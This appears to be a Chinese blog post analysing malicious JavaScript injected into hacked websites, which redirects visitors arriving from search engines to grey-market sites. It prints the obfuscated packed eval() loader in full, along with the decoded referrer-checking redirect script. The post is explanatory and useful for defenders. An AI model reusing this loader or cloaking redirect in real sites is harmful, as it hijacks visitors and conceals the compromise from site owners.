发现一段灰产JS代码
用百度搜索时,发现一些正规网站老是转跳到灰色网站,一开始以为是电脑有问题,后来发现是源网站被黑后插入了js代码,
百度的转跳地址:https://www.baidu.com/link?url=uG7fSB4_3jpLkkUMvQhwTOZnVt04fZ9iQpE0RWaRO_CGYi7AzUORBHPzVVfkL1AA&wd=&eqid=e7c8ffb300015c200000000361f184d2
百度转跳的源码:
<!DOCTYPE html><html><head><meta charset="UTF-8"><meta content="always" name="referrer"><script>try{if(window.opener&&window.opener.bds&&window.opener.bds.pdc&&window.opener.bds.pdc.sendLinkLog){window.opener.bds.pdc.sendLinkLog();}}catch(e) {};var timeout = 0;if(/bdlksmp/.test(window.location.href)){var reg = /bdlksmp=([^=&]+)/,matches = window.location.href.match(reg);timeout = matches[1] ? matches[1] : 0};setTimeout(function(){window.location.replace("https://www.conieer.com/")},timeout);window.opener=null;</script> <noscript><META http-equiv="refresh" content="0;URL='https://www.conieer.com/'"></noscript>
目标网站查看代码发现一段奇怪的代码
<script type = "text/javascript" >eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('m["\\n\\l\\2\\j\\i\\3\\b\\0"]["\\k\\6\\8\\0\\3"](\'\\h\\1\\2\\6\\8\\5\\0 \\0\\o\\5\\3\\c\\7\\0\\3\\d\\0\\4\\g\\a\\s\\a\\1\\2\\6\\8\\5\\0\\7 \\1\\6\\2\\c\\7\\r\\0\\0\\5\\1\\p\\4\\4\\q\\a\\d\\9\\9\\9\\f\\b\\3\\0\\4\\t\\i\\f\\g\\1\\7\\e\\h\\4\\1\\2\\6\\8\\5\\0\\e\');',30,30,'x74|x73|x63|x65|x2f|x70|x72|x22|x69|x36|x61|x6e|x3d|x78|x3e|x2e|x6a|x3c|x6d|x75|x77|x6f|window|x64|x79|x3a|x66|x68|x76|x71'.split('|'),0,{})) </script>
格式化如下:
eval(function(p, a, c, k, e, d) { e = function(c) { return (c < a ? "": e(parseInt(c / a))) + ((c = c % a) > 35 ? String.fromCharCode(c + 29) : c.toString(36)) }; if (!''.replace(/^/, String)) { while (c--) d[e(c)] = k[c] || e(c); k = [function(e) { return d[e] }]; e = function() { return '\\w+' }; c = 1; }; while (c--) if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]); return p; } ('m["\\n\\l\\2\\j\\i\\3\\b\\0"]["\\k\\6\\8\\0\\3"](\'\\h\\1\\2\\6\\8\\5\\0 \\0\\o\\5\\3\\c\\7\\0\\3\\d\\0\\4\\g\\a\\s\\a\\1\\2\\6\\8\\5\\0\\7 \\1\\6\\2\\c\\7\\r\\0\\0\\5\\1\\p\\4\\4\\q\\a\\d\\9\\9\\9\\f\\b\\3\\0\\4\\t\\i\\f\\g\\1\\7\\e\\h\\4\\1\\2\\6\\8\\5\\0\\e\');', 30, 30, 'x74|x73|x63|x65|x2f|x70|x72|x22|x69|x36|x61|x6e|x3d|x78|x3e|x2e|x6a|x3c|x6d|x75|x77|x6f|window|x64|x79|x3a|x66|x68|x76|x71'.split('|'), 0, {}))
运行后,会有
<script language="Javascript"> var s=document.referrer if(s.indexOf("baidu")>0 || s.indexOf("sogou")>0 || s.indexOf("soso")>0 ||s.indexOf("sm")>0 ||s.indexOf("uc")>0 ||s.indexOf("bing")>0 ||s.indexOf("yahoo")>0 ||s.indexOf("so")>0 ) location.href="https://winu.net"; </script>
也就是在搜索中打开才会转跳,网站有管理一会很难发现问题